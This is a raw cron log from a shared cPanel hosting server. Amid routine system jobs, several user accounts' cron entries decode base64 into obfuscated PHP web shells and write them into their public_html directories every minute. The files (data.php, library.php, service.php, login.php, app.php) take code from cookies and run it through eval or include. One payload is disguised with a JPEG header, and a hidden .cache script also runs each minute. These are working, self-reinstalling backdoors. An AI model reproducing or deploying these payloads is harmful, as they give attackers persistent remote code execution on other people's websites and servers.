JF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:27:01 medusa CROND[30417]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:28:01 medusa CROND[20295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:28:01 medusa CROND[20357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:28:01 medusa CROND[20379]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:28:01 medusa CROND[20380]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:28:01 medusa CROND[20381]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:28:01 medusa CROND[20382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:28:01 medusa CROND[20383]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:28:01 medusa CROND[20384]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:28:01 medusa CROND[20385]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:28:01 medusa CROND[20388]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:28:01 medusa CROND[20391]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:28:01 medusa CROND[20398]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:28:01 medusa CROND[20405]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:28:01 medusa CROND[20407]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:29:01 medusa CROND[9651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:29:01 medusa CROND[9698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 16:29:01 medusa CROND[9699]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:29:01 medusa CROND[9700]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:29:01 medusa CROND[9703]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:29:01 medusa CROND[9704]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:29:01 medusa CROND[9705]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:29:01 medusa CROND[9707]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:29:01 medusa CROND[9710]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:29:01 medusa CROND[9712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:29:01 medusa CROND[9714]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:29:01 medusa CROND[9715]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:29:01 medusa CROND[9716]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:30:01 medusa CROND[31982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:30:01 medusa CROND[32014]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:30:01 medusa CROND[32022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32057]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:30:01 medusa CROND[32185]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:30:01 medusa CROND[32188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 16:30:01 medusa CROND[32189]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
